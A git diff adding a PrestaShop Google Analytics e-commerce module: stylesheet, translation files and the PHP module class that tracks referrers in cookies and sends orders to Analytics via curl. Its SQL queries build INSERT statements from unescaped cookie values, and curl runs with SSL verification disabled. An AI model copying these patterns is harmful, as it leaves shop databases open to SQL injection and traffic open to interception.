/* Chrome,Safari4+ */ +background: -webkit-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* Chrome10+,Safari5.1+ */ +background: -o-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* Opera 11.10+ */ +background: -ms-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* IE10+ */ +background: linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* W3C */ +filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1c000000', endColorstr='#00000000',GradientType=0 ); /* IE6-9 */border-bottom:1px solid #000} +.visites{float:right;width:100%;border-bottom:1px dotted #fff} +.visites2{float:right;width:100%;border-bottom:1px dotted #fff} +.visites li{background:#EBEDEE} +.visites2 li{background:#FFFDF7} +.nom{background:#468966 !important;color:#fff !important} +.pages{float:left;padding:7px 10px;margin-right:1px;font-size:12px} +#live{background:#FFFDF7;height:240px;width:957px;margin-left:11px} + +#ga_today_contenu .metric{margin:1px;font-weight:bold;font-size:12px} +#ga_today_contenu .label,#ga_today-blocinfossup .gauche{display:block;margin:1px 1px 1px 2px;background-color:#DEDEDE;padding:6px 10px 6px 10px;width:193px;float:left} +#ga_today_contenu strong,#ga_today-blocinfossup .droite{display:block;margin:1px;background-color:#EFEFEF;padding:6px 10px 6px 10px;width:70px;float:left;font-weight:700 !important;text-align:right} + +.table_info .gauche{font-size:13px;padding:6px 0 9px 10px;width:96,2%;color:#000} +.table_info .droite{font-size:16px;*margin-top:-16px;padding:0 10px 0 0;font-weight:bold !important;float:right;color:#000} +.table_info li{height:16px} +#ga_today_contenu_activation{*margin-top:-26px} +.claire{background:#EFF4F9} +.table_info .metric{font-size:13px;padding:6px 0 9px 10px;width:96,2%;color:#000} +.table_info strong{display:inline-block;*margin-top:-26px;font-size:16px;padding:0 10px 0 0;font-weight:bold !important;float:right;color:#000} + +#ga_today-blocinfossup .entete{background-image: url("../../../img/admin/orange-gradient.png"); + color: #FFFFFF; + font-size: 12pt; + line-height: 29px; + margin-top: 1px; + padding-left: 15px;font-weight:bold;height:30px;clear:both} +#ga_today-blocinfossup ul{margin:0;padding:0} +#ganalytics{border: 1px solid #8E8E8E; + /*float: left;*/ + font-size: 8pt; + padding: 1px; + width: 924px;margin-top:20px} +#ganalytics .titre{background-image: url("../img/titre-bleu.png"); + color: #FFFFFF; + font-size: 12pt; + line-height: 29px; + margin: 1px 0 1px 0; + padding-left: 15px;font-weight:bold;clear:both} + #labels_15{padding:3px;float:left} +#labels_15 label{font-weight:normal;color:#000;margin:1px 2px 0 2px} +#label15{font-weight:normal;color:#000;margin:1px 2px 0 2px} +.ga_medium{color:#C2A54F} +#ajax_running { + display: none; + position: fixed; + top: 0; + left: 40%; + z-index: 10000; + background-color: #FFF1A8; + border: 1px solid #FFD96F; + color: #000; + font-weight: bold; + font-size: 14px; + padding: 5px 20px; + border-radius: 0 0 3px 3px; + -webkit-border-bottom-left-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + width: 300px; +} \ No newline at end of file diff --git a/modules/ganalyticscom/de.php b/modules/ganalyticscom/de.php new file mode 100755 index 0000000..9839c82 --- /dev/null +++ b/modules/ganalyticscom/de.php @@ -0,0 +1,4 @@ +ganalyticscom_3a9b11492656524c81fd835eda4ded3f'] = 'Google Analytics E-Commerce PHP'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_7947c0f9e25dddd3ba00b78ca496e5c3'] = 'Insertion commands in Google Analytics with PHP'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_393d4b30284b0fd8c1e2ec3ad03a0312'] = 'Google Analytics E-commerce Statistic Module - Manage your revenue income and conversion rate !'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_620bc018bf80308f682f91df6b816e67'] = 'Credit'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e7785de91330713fc2d12404bb6bd556'] = 'Settings'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_73732af11836e1d28382c85553794bfd'] = 'Tracking ID'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_dd8afbd38b01a7b4eb27f45fc036b881'] = 'logs'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_8af3b4001502204f3923c3b1c48f02e5'] = 'Order status insertion in Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_38af7f0de896d75a1d94a178e2a3e481'] = 'Status indicating order insertion in to Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aa7fd053fc4e2ce5fe38ee70b9994bf4'] = 'Cancelling order status in Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_eba84e0392b6e5b32224e698d5b917f6'] = 'Status indicating cancellation of the order in Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_7898516eeaa2516be31596614058bd1d'] = 'Temps minimum avant de retenir un nouveau referer'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_03c7c0ace395d80182db07ae2c30f034'] = 's'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_894608ff381bebb55a0533d90a4a9ec4'] = 'Here is how GA updates the campaign tracking cookie based on referrer:'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_0fdce1d5346e778941201452ecea5296'] = 'Direct traffic is always overwritten by referrals, organic and tagged campaigns and does not overwrite existing campaign information'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_995a3c85f2b8598d7ce9b87383f4bd65'] = 'New campaign, referral or organic link that brings a visitor to the site always overrides the existing campaign cookie'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_1732453fd119a6599f7668dc1d21a2a8'] = 'For tracking transactions, the module creates a cookie different from that posed by Google Analytics, to retain the referer for a period of time that you can adjust.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_419d2b3db15fc52e4a163dfb10ae8ff4'] = 'If you wish to obtain statistics as close as possible to those of Google, we recommend that you leave the default value, 18 000 second (5 hours).'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_a2b6146f88b81e19b707d3543aa90496'] = 'If you want to retain the referer more time to analyze your conversion sources differently, it is possible to define the cookie lifetime greater.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_3c331e5c32b8c59a670fdf4964f6e41a'] = 'eg 5 hours = 18000s, 1 week = 604800s, 1 month = 2629800s'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aed88202e2432ee2a613f9120ef7486b'] = 'Save'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_685c17e33c1f0268b39ef7a1491de281'] = 'Purge the database'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_22e0461ba9931f162f3c80d8c4c0621d'] = 'Add this URL to your crontab to automate purging the database:'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e6eca1fc76fbcfc06a6081e6c9fe2c33'] = 'Purge'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_25a8f154ef990606468a39ab26b5f70c'] = 'The purge was successful.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e9762da7ba70222119eb2439a81505e2'] = 'An error has occurred, the purge was not performed correctly.'; diff --git a/modules/ganalyticscom/es.php b/modules/ganalyticscom/es.php new file mode 100755 index 0000000..5be32b8 --- /dev/null +++ b/modules/ganalyticscom/es.php @@ -0,0 +1,17 @@ +ganalyticscom_3a9b11492656524c81fd835eda4ded3f'] = 'Google Analytics E-Commerce PHP'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_7947c0f9e25dddd3ba00b78ca496e5c3'] = 'Inserción de ordenes en Google Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_393d4b30284b0fd8c1e2ec3ad03a0312'] = 'Módulo Google Analytics E-commerce - Impulse sus ventas y su tasa de conversión!'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_620bc018bf80308f682f91df6b816e67'] = 'Realización'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e7785de91330713fc2d12404bb6bd556'] = 'Configuración'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_73732af11836e1d28382c85553794bfd'] = 'ID de seguimiento'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_dd8afbd38b01a7b4eb27f45fc036b881'] = 'logs'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_8af3b4001502204f3923c3b1c48f02e5'] = 'Inserción Analytics estado de la orden'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_38af7f0de896d75a1d94a178e2a3e481'] = 'Estatutos de la activación de insertar un comando en Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aa7fd053fc4e2ce5fe38ee70b9994bf4'] = 'Cancelaciones Analytics estado de la orden'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_eba84e0392b6e5b32224e698d5b917f6'] = 'Estatutos de la activación anulación de un pedido de Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aed88202e2432ee2a613f9120ef7486b'] = 'Aplicar'; diff --git a/modules/ganalyticscom/fr.php b/modules/ganalyticscom/fr.php new file mode 100755 index 0000000..d65fa71 --- /dev/null +++ b/modules/ganalyticscom/fr.php @@ -0,0 +1,31 @@ +ganalyticscom_3a9b11492656524c81fd835eda4ded3f'] = 'Google Analytics E-Commerce PHP'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_7947c0f9e25dddd3ba00b78ca496e5c3'] = 'Insertion des commandes dans Google Analytics en PHP'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_393d4b30284b0fd8c1e2ec3ad03a0312'] = 'Module de statistiques Google Analytics E-commerce - Pilotez votre CA et votre taux de conversion !'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_620bc018bf80308f682f91df6b816e67'] = 'Realisation : '; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e7785de91330713fc2d12404bb6bd556'] = 'Paramètres'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_73732af11836e1d28382c85553794bfd'] = 'Code de suivi Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_dd8afbd38b01a7b4eb27f45fc036b881'] = 'Activer le fichier de logs'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_8af3b4001502204f3923c3b1c48f02e5'] = 'Statuts insertion commande Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_38af7f0de896d75a1d94a178e2a3e481'] = 'Statuts déclenchant l\'insertion d\'une commande dans Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aa7fd053fc4e2ce5fe38ee70b9994bf4'] = 'Statuts annulation commande Analytics'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_eba84e0392b6e5b32224e698d5b917f6'] = 'Statuts déclenchant l\'annulation d\'une commande dans Google Analytics.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_7898516eeaa2516be31596614058bd1d'] = 'Temps minimum avant de retenir un nouveau referer'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_03c7c0ace395d80182db07ae2c30f034'] = 's'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_894608ff381bebb55a0533d90a4a9ec4'] = 'Voici comment GA met à jour le cookie de suivi de campagne basée sur referrer:'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_0fdce1d5346e778941201452ecea5296'] = 'Le trafic direct est toujours écrasé par les sites référents, le search (organic), les campagnes payantes (adwords), et n\'écrase pas les informations de la campagne existante.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_995a3c85f2b8598d7ce9b87383f4bd65'] = 'Une nouvelle campagne, referer ou lien organique qui apporte un visiteur sur le site est toujours prioritaire sur le cookie et écrase les informations de la campagne existante.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_1732453fd119a6599f7668dc1d21a2a8'] = 'Pour tracker les transactions, le module pose un cookie différent de celui posé par Google Analytics, permettant de retenir le referer pendant un laps de temps que vous pouvez régler.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_419d2b3db15fc52e4a163dfb10ae8ff4'] = 'Pour se rapprocher au maximum des statistiques de Google, nous vous conseillons de laisser la valeur par défaut, c\'est à dire 18 000s soit 5h.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_a2b6146f88b81e19b707d3543aa90496'] = 'Si vous souhaitez retenir le referer plus de temps pour analyser différemment vos sources de conversion, il est donc possible de définir une durée de vie du cookie plus importante. '; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_3c331e5c32b8c59a670fdf4964f6e41a'] = 'ex: 18000s = 5h, 604800s = 1 semaine, 2629800s = 1 mois'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_aed88202e2432ee2a613f9120ef7486b'] = 'Enregistrer'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_685c17e33c1f0268b39ef7a1491de281'] = 'Purger la base de données'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_22e0461ba9931f162f3c80d8c4c0621d'] = 'Ajoutez cette URL à votre crontab pour automatiser la purge de la base de données:'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e6eca1fc76fbcfc06a6081e6c9fe2c33'] = 'Purger'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_25a8f154ef990606468a39ab26b5f70c'] = 'La purge a été correctement effectuée.'; +$_MODULE['<{ganalyticscom}prestashop>ganalyticscom_e9762da7ba70222119eb2439a81505e2'] = 'Une erreur est survenue, la purge ne s\'est pas effectuée correctement.'; diff --git a/modules/ganalyticscom/ganalytics.jpg b/modules/ganalyticscom/ganalytics.jpg new file mode 100755 index 0000000..774c1f5 Binary files /dev/null and b/modules/ganalyticscom/ganalytics.jpg differ diff --git a/modules/ganalyticscom/ganalyticscom.php b/modules/ganalyticscom/ganalyticscom.php new file mode 100755 index 0000000..4174136 --- /dev/null +++ b/modules/ganalyticscom/ganalyticscom.php @@ -0,0 +1,468 @@ +name = 'ganalyticscom'; + $this->tab = 'analytics_stats'; + $this->version = 1.1; + $this->author = 'Speedyweb'; + $this->module_key = '90bbcd281e12778f64c01db88277a43c'; + $this->need_instance = 0; + parent::__construct(); + $this->displayName = $this->l('Google Analytics E-Commerce PHP'); + $this->description = $this->l('Insertion des commandes dans Google Analytics en PHP'); + + /** Backward compatibility */ + require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + } + + public function install() + { + if (!parent::install() + OR !$this->registerHook('top') + OR !$this->registerHook('header') + OR ($this->checkVersion('is_1.4') AND !$this->registerHook('cart')) + OR ($this->checkVersion('is_1.5') AND !$this->registerHook('actionCartSave')) + OR !$this->registerHook('postUpdateOrderStatus') + OR !$this->registerHook('newOrder') + OR !$this->registerHook('backOfficeHeader') + OR !Configuration::updateValue('codeGA', '') + OR !Configuration::updateValue('ga_insert_statuts', '2') + OR !Configuration::updateValue('ga_annul_statuts', '6') + OR !Configuration::updateValue('ga_logs', 0) + OR !Configuration::updateValue('cookie_min_time', 18000)) + return false; + return Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'ganalyticscoms`( + `id` int(11) NOT NULL auto_increment, + `id_cart` int(11) DEFAULT \'0\' NOT NULL, + `commande` int(11) NOT NULL, + `referer` text NOT NULL, + `gclid` text NOT NULL, + `ga_statut` smallint(6) NOT NULL, + PRIMARY KEY (`id`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'); + } + + public function uninstall() + { + Configuration::deleteByName('codeGA'); + Configuration::deleteByName('ga_insert_statuts'); + Configuration::deleteByName('ga_annul_statuts'); + Configuration::deleteByName('ga_logs'); + Configuration::deleteByName('cookie_min_time'); + Db::getInstance()->Execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'ganalyticscoms`'); + return parent::uninstall(); + } + + /***************************************************************************************************************/ + + public function getContent() + { + if (isset($_POST['submitAnalytics'])) + { + $this->_postValidation(); + if (!sizeof($this->_postErrors)) $this->_postProcess(); + else $this->displayErrors(); + } + elseif (isset($_POST['submitPurgeDB'])){ + $this->PurgeDB(); + if (!sizeof($this->_postErrors)) $this->displayPurgeConf(); + else $this->displayErrors(); + } + $this->_displayAnalytics(); + $this->_displayForm(); + return $this->_html; + } + + private function _postProcess() + { + if (isset($_POST['submitAnalytics'])){ + Configuration::updateValue('codeGA', strval($_POST['codeGA'])); + Configuration::updateValue('ga_logs', ((isset($_POST['ga_logs']) AND intval($_POST['ga_logs'])) != 0 ? 1 : 0)); + Configuration::updateValue('ga_insert_statuts', implode(',',Tools::getValue('ga_insert_statuts'))); + Configuration::updateValue('ga_annul_statuts', implode(',',Tools::getValue('ga_annul_statuts'))); + $cookie_min_time = intval(Tools::getValue('cookie_min_time')); + Configuration::updateValue('cookie_min_time', ($cookie_min_time > 18000) ? $cookie_min_time : 18000); + } + } + + private function _postValidation(){ + // + } + + /****** HOOKS *************************************************************************************************/ + + public function getDateCookieCreation($cookie){ + $tab_cookie = explode('__datecookie:',$cookie); + return (isset($tab_cookie[1]) ? $tab_cookie[1] : time()); + } + + public function cleanRefererFromCookie($cookie){ + $tab_cookie = explode('__datecookie:',$cookie); + return $tab_cookie[0]; + } + + public function hookTop($params) + { + $referer = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : ''; + $gclid = (isset($_GET['gclid'])) ? $_GET['gclid'] : ''; + $cookie_min_time_before_overwrite = intval(Configuration::get('cookie_min_time')); // 5h - Donnée que l'on peut rendre dynamique + $cookie_expire_time = time() + 15778800; // 6 mois + + if((!isset($_COOKIE['ganalytics']) OR (!empty($referer) AND time() > ($this->getDateCookieCreation($_COOKIE['ganalytics']) + $cookie_min_time_before_overwrite))) + AND $this->GetDomain($referer) != str_replace('www.','',$_SERVER['HTTP_HOST'])) + { + setcookie("ganalytics", $referer.'__datecookie:'.time(), $cookie_expire_time); + setcookie("gclid", $gclid, $cookie_expire_time); + } + } + + public function hookActionCartSave($params) + { + $this->hookCart($params); + } + + public function hookCart($params) + { + $referer = isset($_COOKIE['ganalytics']) ? $this->cleanRefererFromCookie($_COOKIE['ganalytics']) : ''; + $gclid = isset($_COOKIE['gclid']) ? $_COOKIE['gclid'] : ''; + + if(isset($params['cart']) AND intval($params['cart']->id) > 0){ + $row = Db::getInstance()->getRow('SELECT * FROM `'._DB_PREFIX_.'ganalyticscoms` WHERE `id_cart` = '.$params['cart']->id); + if(!$row){ + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'ganalyticscoms` (`id_cart`, `commande`, `referer`, `gclid`) + VALUES('.(int)$params['cart']->id.',0, "'.$referer.'", "'.$gclid.'")'); + } + } + } + + public function hookHeader($params){ + global $smarty; + $smarty->assign(array('codeGA' => Configuration::get('codeGA'))); + return $this->display(__FILE__, 'header.tpl'); + } + + public function hookDisplayMobileHeader($params){ + return $this->hookHeader($params); + } + + public function hookBackOfficeHeader($params) + { + $return = ''; + if(($this->checkVersion('is_1.5') AND (!$_GET['controller'] OR 'adminhome' == $_GET['controller'])) + OR ($this->checkVersion('is_1.4') AND !isset($_GET['tab']))){ + $return = ''; + } + return $return; + } + + public function hookNewOrder($params) + { + $_codeGA = Configuration::get('codeGA'); + if(!empty($_codeGA)){ + $id_order = (isset($params['order'])) ? $params['order']->id : $params['id_order']; + $order = new Order(intval($id_order)); + $row = Db::getInstance()->getRow('SELECT * FROM `'._DB_PREFIX_.'ganalyticscoms` WHERE `id_cart` = '.$order->id_cart); + if(!$row){ + + $referer = isset($_COOKIE['ganalytics']) ? $this->cleanRefererFromCookie($_COOKIE['ganalytics']) : ''; + $gclid = isset($_COOKIE['gclid']) ? $_COOKIE['gclid'] : ''; + + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'ganalyticscoms` (`id_cart`, `commande`, `referer`, `gclid`) + VALUES('.$order->id_cart.','.(int)$id_order.', "'.$referer.'", "'.$gclid.'")'); + } + else Db::getInstance()->Execute('UPDATE `'._DB_PREFIX_.'ganalyticscoms` SET `commande` = '.(int)$id_order.' WHERE `id_cart` = '.$order->id_cart); + } + } + + public function hookPostUpdateOrderStatus($params) + { + $this->statut($params); + } + + /***************************************************************************************************************/ + + public function getArrayFromStringVar($nom, $sep = ',') + { + return explode($sep, Configuration::get($nom)); + } + + public function getUrlSite() + { + return 'http://'.htmlspecialchars($_SERVER['HTTP_HOST'], ENT_COMPAT, 'UTF-8').__PS_BASE_URI__; + } + + public function _displayAnalytics() + { + $this->_html .= ' +
        + + '.$this->l('Module de statistiques Google Analytics E-commerce - Pilotez votre CA et votre taux de conversion !').'
        +
        '; + } + + public function displayErrors() + { + foreach ($this->_postErrors AS $err) $this->_html .= '
        '. $err .'
        '; + } + + public function GetDomain($url) + { + $domain = parse_url(preg_replace('`www\.`','',$url)); + return (empty($domain["host"])) ? $domain["path"] : $domain["host"]; + } + + public function _displaySpeedyWeb() + { + return $this->l('Realisation : ').'SpeedyWeb'; + } + + /***************************************************************************************************************/ + + public function statut($params) + { + $id_order = (isset($params['order'])) ? $params['order']->id : $params['id_order']; + $new_order_status = (isset($params['orderStatus'])) ? $params['orderStatus'] : $params['newOrderStatus']; + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, ""); + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "## ".date('d-m-Y H:i:s')." #############################################"); + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "#Function - statut | id_order = ".$id_order." | new_order_status = ".$new_order_status->name." id:".$new_order_status->id); + $ganalyticscom = GanalyticsComs::getByOrder($id_order); + if($ganalyticscom){ + $ga_insert_statuts = $this->getArrayFromStringVar('ga_insert_statuts'); + $ga_annul_statuts = $this->getArrayFromStringVar('ga_annul_statuts'); + if(in_array($new_order_status->id, $ga_insert_statuts) and $ganalyticscom['ga_statut'] == 0){ + $this->GanalyticsUpdate($id_order,$new_order_status); + Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'ganalyticscoms` + SET `ga_statut` = 1 WHERE `commande` = '.(int)$id_order); + } + elseif(in_array($new_order_status->id, $ga_annul_statuts) and $ganalyticscom['ga_statut'] == 1){ + $this->GanalyticsUpdate($id_order,$new_order_status, -1); + Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'ganalyticscoms` + SET `ga_statut` = 0 WHERE `commande` = '.(int)$id_order); + } + } + } + + public function GanalyticsUpdate($id_order,$order_state,$sens = 1) + { + $http_codes = (is_readable(realpath(dirname(__FILE__)).'/'.$this->_httpCodesFile)) ? parse_ini_file(realpath(dirname(__FILE__)).'/'.$this->_httpCodesFile) : array(); + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "#Function - GanalyticsUpdate | order = ".$id_order." | sens = ".$sens); + $_codeGA = Configuration::get('codeGA'); + $ganalyticscom = GanalyticsComs::getByOrder($id_order); + $commande_infos = $this->getTransaction($id_order,$sens); + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "#COMMANDE INFOS => ".serialize($commande_infos)); + $ga_params = array(); + $referer = $ganalyticscom['referer']; + $gclid = $ganalyticscom['gclid']; + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "#gclid => ".$gclid." | REFERER => ".$referer); + $url = $this->getUrlSite().'modules/ganalyticscom/ganalytics_update.php'; + $commande_order = $commande_infos['order']; + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, "#PAYMENT => ".$commande_order['payment']." | "."#STATUT => ".$order_state->name); + $ga = new X_GoogleAnalyticsMobile($_codeGA, str_replace('www.','',$_SERVER['HTTP_HOST']), $referer, $gclid, NULL, $ga_params); + $ga->SetTransaction($id_order, $commande_order['total'], $commande_order['port'], $commande_order['tva'], $commande_order['city'], $commande_order['region'], $commande_order['country'], $commande_order['currency']); + if(count($commande_infos['products']) > 0) + foreach($commande_infos['products'] as $product) + $ga->SetTransactionItem($id_order, $product['ref'], $product['category'], $product['name'], $product['price'], $product['quantity'], $commande_order['currency']); + if(Configuration::get('ga_logs')) X_writeLogs($this->_logFile, '#TrafficSource => '.serialize($ga->GetTrafficSource())); + $tracking_codes = $ga->GetTrackingCode(); + if(count($tracking_codes) > 0){ + $http_codes = (is_readable(realpath(dirname(__FILE__)).'/'.$this->_httpCodesFile)) ? parse_ini_file(realpath(dirname(__FILE__)).'/'.$this->_httpCodesFile) : array(); + foreach($tracking_codes as $tracking_code){ + $ch = @curl_init($tracking_code); + if ($ch){ + @curl_setopt($ch, CURLOPT_TIMEOUT, 30); + @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); + @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); + @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); + $result = @curl_exec($ch); + $http_code = @curl_getinfo($ch, CURLINFO_HTTP_CODE); + if(Configuration::get('ga_logs')) + X_writeLogs($this->_logFile, (array_key_exists($http_code,$http_codes) ? $http_code.' : '.$http_codes[$http_code] : 'Aucun code HTTP retourné' ).' ** '.$tracking_code); + @curl_close($ch); + } + } + } + } + + public function getTransaction($id_order, $sens = 1) + { + $return = array(); + $order = new Order(intval($id_order)); + $address = new Address(intval($order->id_address_invoice)); + $customer = new Customer(intval($order->id_customer)); + $currency = new Currency(intval($order->id_currency)); + $products = $order->getProductsDetail(); + $i = 0; + $tva = 0; + foreach($products as $product){ + $result = Db::getInstance()->getRow(' + SELECT `name` FROM `'._DB_PREFIX_.'product` + LEFT JOIN `'._DB_PREFIX_.'category_lang` ON `'._DB_PREFIX_.'product`.`id_category_default` = `'._DB_PREFIX_.'category_lang`.`id_category` + WHERE `'._DB_PREFIX_.'product`.`id_product` = '.intval($product['product_id']).' + AND `'._DB_PREFIX_.'category_lang`.`id_lang` = '.intval($order->id_lang)); + $total_produit = $product['product_price'] * $product['product_quantity']; + $total_produit_ht = $total_produit / (1 + $product['tax_rate']/100); + $tva += round($total_produit - $total_produit_ht,2); + $return['products']['product'.$i]['order_id'] = sprintf('%06d', (int)$order->id); + $return['products']['product'.$i]['ref'] = (NULL != $product['product_reference']) ? $product['product_reference'] : $product['product_id']; + $return['products']['product'.$i]['category'] = $result['name']; + $return['products']['product'.$i]['name'] = $product['product_name']; + $return['products']['product'.$i]['price'] = $sens * $product['product_price']; + $return['products']['product'.$i]['quantity'] = $sens * $product['product_quantity']; + $i++; + } + $return['order']['id'] = sprintf('%06d', (int)$order->id); + $return['order']['total'] = $sens * $order->total_paid; + $return['order']['port'] = $sens * $order->total_shipping; + $return['order']['tva'] = $sens * $tva; + $return['order']['city'] = $address->city; + $return['order']['region'] = ''; + $return['order']['country'] = $address->country; + $return['order']['currency'] = $currency->iso_code; + $return['order']['payment'] = $order->payment; + return $return; + } + + /***************************************************************************************************************/ + + public function _displayForm() + { + global $cookie; + $codeGA = Configuration::get('codeGA'); + $ga_insert_statuts = $this->getArrayFromStringVar('ga_insert_statuts'); + $ga_annul_statuts = $this->getArrayFromStringVar('ga_annul_statuts'); + $ga_logs = Configuration::get('ga_logs'); + $cookie_min_time = Configuration::get('cookie_min_time'); + $checked = 'checked="checked"'; + $isGaLogsChecked = ($ga_logs) ? $checked : '' ; + $orderStates = OrderState::getOrderStates($cookie->id_lang); + $this->_html .= ' +
        +
        + '.$this->l('Paramètres').'  + +
        + +

        '. + $this->l('(UA-xxxxxxx-xx)').' +

        +
        +
        + +
        + +
        + +
        + +

        '. + $this->l('Statuts déclenchant l\'insertion d\'une commande dans Google Analytics.').' +

        +
        +
        + +
        + +

        '. + $this->l('Statuts déclenchant l\'annulation d\'une commande dans Google Analytics.').' +

        +
        +
        + +
        + '.$this->l('s').' +

        '. + $this->l('Here is how GA updates the campaign tracking cookie based on referrer:').'
        '. + $this->l('Direct traffic is always overwritten by referrals, organic and tagged campaigns and does not overwrite existing campaign information').'
        '. + $this->l('New campaign, referral or organic link that brings a visitor to the site always overrides the existing campaign cookie').'

        '. + $this->l('For tracking transactions, the module creates a cookie different from that posed by Google Analytics, to retain the referer for a period of time that you can adjust.').'
        '. + $this->l('If you wish to obtain statistics as close as possible to those of Google, we recommend that you leave the default value, 18 000 second (5 hours).').'
        '. + $this->l('If you want to retain the referer more time to analyze your conversion sources differently, it is possible to define the cookie lifetime greater.').'
        '. + $this->l('eg 5 hours = 18000s, 1 week = 604800s, 1 month = 2629800s').' +

        +
        +
        +

        +
        + +
        +
        +

        + +
        +
        + '.$this->l('Purger la base de données').'  +

        '.$this->l('Ajoutez cette URL à votre crontab pour automatiser la purge de la base de données:').'
        + '.Tools::getShopDomain(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/cron/purge.php

        +
        +
        +

        '.$this->_displaySpeedyWeb().'

        +
        +

        '; + } + + /***************************************************************************************************************/ + + public function displayPurgeConf(){ + $this->_html .= ' +
        '.$this->l('La purge a été correctement effectuée.').'
